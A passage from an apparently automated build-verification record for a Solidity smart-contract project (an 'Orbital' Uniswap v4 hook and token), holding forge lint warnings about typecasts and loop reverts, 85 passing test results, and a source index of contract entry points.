certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:824:20\n    │\n824 │             u[k] = int256(_x[k]) - xBound;\n    │                    ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:826:25\n    │\n826 │                 u[k] -= int256(c.r);\n    │                         ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:827:23\n    │\n827 │                 uu += uint256(u[k] * u[k]);\n    │                       ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:833:35\n    │\n833 │                 v[k] = u[k] > 0 ? uint256(u[k]) * radius / c.r : 0;\n    │                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:840:26\n    │\n840 │             int256 val = int256(radius) + _floorDiv(u[k] * int256(radius), int256(uNorm));\n    │                          ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:840:60\n    │\n840 │             int256 val = int256(radius) + _floorDiv(u[k] * int256(radius), int256(uNorm));\n    │                                                            ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:840:76\n    │\n840 │             int256 val = int256(radius) + _floorDiv(u[k] * int256(radius), int256(uNorm));\n    │                                                                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:841:30\n    │\n841 │             v[k] = val > 0 ? uint256(val) : 0;\n    │                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:900:23\n    │\n900 │         if (c.r == 0) revert NoInteriorLiquidity();\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:971:29\n    │\n971 │             if (d1 > realJ) revert OrbitalMath.InsufficientLiquidity();\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:174:68\n    │\n174 │         if (maxOut == 0 || _f(p, dIn, maxOut, n, sqrtNWad, c) < 0) revert InsufficientLiquidity();\n    │                                                                    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:947:38\n    │\n947 │             if (t.remaining > realJ) revert OrbitalMath.InsufficientLiquidity();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:192:26\n    │\n192 │         if (dOut > p.xj) revert InsufficientLiquidity();\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n     ╭▸ src/OrbitalHook.sol:1022:23\n     │\n1022 │         if (w < c.sb) revert BoundaryInverted();\n     │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n     ╭▸ src/OrbitalHook.sol:1025:50\n     │\n1025 │         if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();\n     │                                                  ━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:966:22\n    │\n966 │         int256 gap = int256(t.lv[l].kNorm) - OrbitalMath.alphaIntNorm(p.s, sqrtN, c); // plane − position\n    │                      ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:986:17\n    │\n986 │             if (int256(lv[l].kNorm) <= aAfter) return (true, l); // ascending in kNorm\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n     ╭▸ src/OrbitalHook.sol:1001:32\n     │\n1001 │         uint256 qT = wT * wT + sT * sT / n;\n     │                                ━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1023:25\n     │\n1023 │         int256 xBound = int256(c.kb * WAD / sqrtN);\n     │                         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1024:31\n     │\n1024 │         if (w != 0) xBound += int256(c.sb) * (int256(x[i]) - int256(s / n)) / int256(w);\n     │                               ━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1024:47\n     │\n1024 │         if (w != 0) xBound += int256(c.sb) * (int256(x[i]) - int256(s / n)) / int256(w);\n     │                                               ━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1024:62\n     │\n1024 │         if (w != 0) xBound += int256(c.sb) * (int256(x[i]) - int256(s / n)) / int256(w);\n     │                                                              ━━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1024:79\n     │\n1024 │         if (w != 0) xBound += int256(c.sb) * (int256(x[i]) - int256(s / n)) / int256(w);\n     │                                                                               ━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1025:13\n     │\n1025 │         if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();\n     │             ━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1025:37\n     │\n1025 │         if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();\n     │                                     ━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":1089,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 5 tests for test/OrbitalToken.t.sol:OrbitalTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 42018)\n[PASS] test_noMintOrAdminSurface() (gas: 52384)\n[PASS] test_transferFailures() (gas: 58450)\n[PASS] test_transferFromRespectsAllowance() (gas: 149978)\n[PASS] test_transferMovesExactly() (gas: 74832)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 793.87µs (684.59µs CPU time)\n\nRan 2 tests for test/OrbitalLiquidity.t.sol:OrbitalReentrancyTest\n[PASS] test_hookActionsAreNonReentrant() (gas: 2340699)\n[PASS] test_swapInsideFeePayoutIsRefusedAndStateIsConsistent() (gas: 2885548)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 15.51ms (8.15ms CPU time)\n\nRan 3 tests for test/Deploy.t.sol:DeployBroadcastTest\n[PASS] test_deployUnderBroadcast() (gas: 12474670)\n[PASS] test_deployWiresEverything() (gas: 28115335)\n[PASS] test_mineSaltFindsMatchingAddress() (gas: 17849273)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 16.30ms (30.67ms CPU time)\n\nRan 2 tests for test/OrbitalLiquidity.t.sol:OrbitalFrozenCoinTest\n[PASS] test_redeemClaimsFailurePaths() (gas: 1108557)\n[PASS] test_withdrawAndFeesDeliverHealthyCoinsWhenOneIsFrozen() (gas: 2367600)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 26.22ms (4.80ms CPU time)\n\nRan 2 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deployWiresEverything() (gas: 28115013)\n[PASS] test_mineSaltFindsMatchingAddress() (gas: 17849212)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 29.63ms (51.78ms CPU time)\n\nRan 3 tests for test/OrbitalLiquidity.t.sol:OrbitalDustPoolTest\n[PASS] test_dustPoolDoesNotSkimLaterDepositors() (gas: 1739500)\n[PASS] test_fullExitClearsReservesSoTheNextPoolStartsClean() (gas: 1824529)\n[PASS] test_withdrawalLeavesAtLeastMinRadiusOrNothing() (gas: 768432)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 31.82ms (6.56ms CPU time)\n\nRan 21 tests for test/Reactive.t.sol:ReactiveBreakerTest\n[PASS] test_bandMath() (gas: 29961)\n[PASS] test_callbackAdminAndPayment() (gas: 190182)\n[PASS] test_callbackConstructionAndHookBinding() (gas: 8239)\n[PASS] test_callbackFailsWhenNotGuardian() (gas: 179190)\n[PASS] test_callbackIgnoresOlderRounds() (gas: 335758)\n[PASS] test_callbackRefusesNonProxy() (gas: 42624)\n[PASS] test_callbackRefusesWrongRvmId() (gas: 188452)\n[PASS] test_callbackSkipsWhenAlreadyPaused() (gas: 185664)\n[PASS] test_depegPausesThePoolEndToEnd() (gas: 383226)\n[PASS] test_inBandPriceDoesNothing() (gas: 87434)\n[PASS] test_latchRequestsOneCallbackPerExcursion() (gas: 347991)\n[PASS] test_nonPositivePriceTrips() (gas: 169228)\n[PASS] test_ownerResumeIsNotUndoneByTheSameExcursion() (gas: 238185)\n[PASS] test_priceAboveBandAlsoTrips() (gas: 153018)\n[PASS] test_reactRefusesUnexpectedLog() (gas: 68799)\n[PASS] test_reactRunsOnlyInTheReactVm() (gas: 364860)\n[PASS] test_reactVmCopyFollowsTheRotatedAggregator() (gas: 222499)\n[PASS] test_reactiveConfigValidation() (gas: 6387)\n[PASS] test_reactiveNetworkCopyManagesSubscriptionsAndFeedRotation() (gas: 1052386)\n[PASS] test_reactivePaymentHooks() (gas: 117826)\n[PASS] test_reactiveSubscribeManagementIsNetworkOnly() (gas: 87041)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 31.19ms (5.82ms CPU time)\n\nRan 1 test for test/OrbitalTicks.t.sol:OrbitalDeadlockRecoveryTest\n[PASS] test_interiorReopensOnThePinnedPlane() (gas: 7142174)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 51.38ms (12.42ms CPU time)\n\nRan 10 tests for test/OrbitalMath.t.sol:OrbitalMathTest\n[PASS] testFuzz_solveInInvertsSolveOut(uint256) (runs: 256, μ: 611364, ~: 625060)\n[PASS] testFuzz_solveOutLandsOnSphere(uint256) (runs: 256, μ: 321733, ~: 322339)\n[PASS] testFuzz_sqrtIsFloor(uint256) (runs: 256, μ: 1631, ~: 1648)\n[PASS] test_hookFlags() (gas: 592)\n[PASS] test_invariantZeroAtEqualPoint() (gas: 7631)\n[PASS] test_planeStepPicksTheRequestedImage() (gas: 15492)\n[PASS] test_planeStepStaysPutAtZeroShift() (gas: 4991)\n[PASS] test_solveOutRevertsWhenDrained() (gas: 41857)\n[PASS] test_sqrtN() (gas: 3533)\n[PASS] test_tickGeometry() (gas: 12606)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 133.59ms (208.92ms CPU time)\n\nRan 31 tests for test/OrbitalHook.t.sol:OrbitalHookTest\n[PASS] testFuzz_exactOutMatchesQuoteAndCostsAtLeastPar(uint256) (runs: 256, μ: 1703042, ~: 1723017)\n[PASS] testFuzz_roundTripNeverProfits(uint256) (runs: 256, μ: 2150725, ~: 2301482)\n[PASS] testFuzz_swapKeepsPointOnTorus(uint256,bool) (runs: 256, μ: 1534598, ~: 1415176)\n[PASS] test_callbacksRefuseNonPoolManager() (gas: 177662)\n[PASS] test_concentratedTickNeedsLessCapital() (gas: 606680)\n[PASS] test_constructorRejectsBadConfig() (gas: 6908840)\n[PASS] test_depegIsolatesConcentratedLiquidity() (gas: 3370656)\n[PASS] test_depositRejectsBadInputs() (gas: 167867)\n[PASS] test_depositRespectsMaxAmounts() (gas: 180839)\n[PASS] test_feesAccrueToLpsAndAreCollectable() (gas: 1547538)\n[PASS] test_firstDepositOpensAtEqualPrice() (gas: 557427)\n[PASS] test_guardianCanPauseOnlyGuardian() (gas: 130777)\n[PASS] test_guardianCannotUnpause() (gas: 98888)\n[PASS] test_initializeNonBasketPoolIsPassThrough() (gas: 603760)\n[PASS] test_initializeRefusedWhilePaused() (gas: 605625)\n[PASS] test_initializeRegistersOrbitalPairs() (gas: 19217)\n[PASS] test_largeTradePinsTightTickAndUnpinsOnReturn() (gas: 2516704)\n[PASS] test_ownerAdmin() (gas: 256569)\n[PASS] test_passThroughPoolUsesPlainV4Liquidity() (gas: 1294706)\n[PASS] test_pauseBlocksSwapsAndDepositsButNotWithdrawals() (gas: 1736088)\n[PASS] test_permissionsMatchAddressBits() (gas: 16808)\n[PASS] test_roundTripNeverProfits() (gas: 1941799)\n[PASS] test_swapExactInNearPeg() (gas: 1819699)\n[PASS] test_swapExactOut() (gas: 1692557)\n[PASS] test_swapRevertsWithoutLiquidity() (gas: 134262)\n[PASS] test_swapSixDecimalsBothWays() (gas: 1932839)\n[PASS] test_swapTooLargeReverts() (gas: 613684)\n[PASS] test_v4LiquidityRefusedOnOrbitalPools() (gas: 69917)\n[PASS] test_withdrawEverythingLeavesOnlyDust() (gas: 1969434)\n[PASS] test_withdrawRejectsTooMuchAndSlippage() (gas: 653977)\n[PASS] test_withdrawReturnsDeposit() (gas: 1031114)\nSuite result: ok. 31 passed; 0 failed; 0 skipped; finished in 250.30ms (584.19ms CPU time)\n\nRan 3 tests for test/OrbitalTicks.t.sol:OrbitalReturnTradeTest\n[PASS] testFuzz_randomActivityKeepsTicksConsistent(uint256) (runs: 256, μ: 12139724, ~: 12171419)\n[PASS] test_returnTradeThroughPegUnpinsAndRepins() (gas: 5075679)\n[PASS] test_tickOnItsPlaneRejoinsAfterDepositNudge() (gas: 60655317)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 933.81ms (1.03s CPU time)\n\nRan 2 tests for test/OrbitalLiquidity.t.sol:OrbitalFullExitTest\n[PASS] testFuzz_everyoneCanLeaveAfterRandomActivity(uint256) (runs: 256, μ: 11610148, ~: 11643070)\n[PASS] test_everyoneCanLeaveAfterMixedActivity() (gas: 8272686)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 990.59ms (967.66ms CPU time)\n\nRan 12 test suites in 991.67ms (2.51s CPU time): 85 tests passed, 0 failed, 0 skipped (85 total tests)\n","passed":true},{"durationMs":76,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"OrbitalDepegCallback.depeg(address,address,int256,uint256)\",\"OrbitalDepegCallback.pay(uint256)\",\"OrbitalDepegCallback.receive()\",\"OrbitalDepegCallback.setHook(address)\",\"OrbitalDepegCallback.setRvmId(address)\",\"OrbitalDepegCallback.transferOwnership(address)\",\"OrbitalDepegCallback.withdraw(address,uint256)\",\"OrbitalDepegReactive.pay(uint256)\",\"OrbitalDepegReactive.react((uint256,address,uint256,uint256,uint256,uint256,bytes,uint256,uint256,uint256,uint256,uint256))\",\"OrbitalDepegReactive.receive()\",\"OrbitalDepegReactive.setFeed(address)\",\"OrbitalDepegReactive.subscribe()\",\"OrbitalDepegReactive.unsubscribe()\",\"OrbitalDepegReactive.withdraw(address,uint256)\",\"OrbitalHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"OrbitalHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"OrbitalHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"OrbitalHook.collectFees(uint256)\",\"OrbitalHook.deposit(uint256,uint256,uint256[])\",\"OrbitalHook.fallback()\",\"OrbitalHook.guardianPause()\",\"OrbitalHook.pause()\",\"OrbitalHook.redeemClaims(address,uint256,address)\",\"OrbitalHook.setFee(uint24)\",\"OrbitalHook.setGuardian(address)\",\"OrbitalHook.transferOwnership(address)\",\"OrbitalHook.unlockCallback(bytes)\",\"OrbitalHook.unpause()\",\"OrbitalHook.withdraw(uint256,uint256,uint256[])\",\"OrbitalToken.approve(address,uint256)\",\"OrbitalToken.transfer(address,uint256)\",\"OrbitalToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":4,\"README.md\":403,\"foundry.toml\":23,\"launch.json\":34,\"remappings.txt\":3,\"script/DeployOrbital.s.sol\":103,\"src/HookFlags.sol\":37,\"src/OrbitalHook.sol\":1046,\"src/OrbitalToken.sol\":63,\"src/base/BaseHook.sol\":81,\"src/libraries/OrbitalMath.sol\":242,\"src/reactive/IReactive.sol\":56,\"src/reactive/OrbitalDepegCallback.sol\":115,\"src/reactive/OrbitalDepegReactive.sol\":177,\"test/Deploy.t.sol\":87,\"test/OrbitalHook.t.sol\":562,\"test/OrbitalLiquidity.t.sol\":391,\"test/OrbitalMath.t.sol\":174,\"test/OrbitalTicks.t.sol\":235,\"test/OrbitalToken.t.sol\":57,\"test/Reactive.t.sol\":483,\"test/mocks/HookableERC20.sol\":63,\"test/mocks/MockERC20.sol\":56,\"test/mocks/MockERC20Decimals.sol\":51,\"test/utils/BasketHarness.sol\":167,\"test/utils/OrbitalFixture.sol\":206},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"ffc7faa3c2183ef8ff8b4b5f3b7366fd6872d704f58faaad9a86baf01a64f89b","verifiedTreeHash":"ea7384525a6e78b1db84d681346c37acb914a72e","verifierVersion":"0.1.0+474349a3"}]}